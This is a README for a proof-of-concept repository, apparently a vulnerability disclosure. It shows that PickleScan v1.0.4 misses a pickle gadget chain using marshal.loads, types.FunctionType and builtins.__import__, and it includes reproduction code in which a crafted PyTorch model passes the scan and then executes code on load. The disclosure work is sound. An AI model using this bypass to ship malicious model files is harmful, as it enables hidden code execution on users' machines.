ryansecuritytest-fanpierlabs/picklescan-bypass-marshal-functiontype-poc

PickleScan Bypass PoC - marshal.loads + types.FunctionType

Vulnerability

PickleScan v1.0.4 fails to detect a gadget chain using:

• marshal.loads (not in blocklist)
• types.FunctionType (only types.CodeType is blocked)
• builtins.__import__ (not in builtins blocklist)

Files

• malicious_model.pt - Malicious PyTorch model that bypasses picklescan
• poc_generate_malicious_model.py - Script to generate the malicious model

Reproduction

# Scan - shows 0 issues
from picklescan.scanner import scan_pytorch
with open("malicious_model.pt", "rb") as f:
    result = scan_pytorch(f, "test.pt")
print(f"issues={result.issues_count}")  # 0!

# Load - triggers RCE
import torch
torch.load("malicious_model.pt", weights_only=False)
# Creates /tmp/picklescan_bypass_poc

Impact

Malicious model files pass picklescan security scanning while achieving arbitrary code execution when loaded.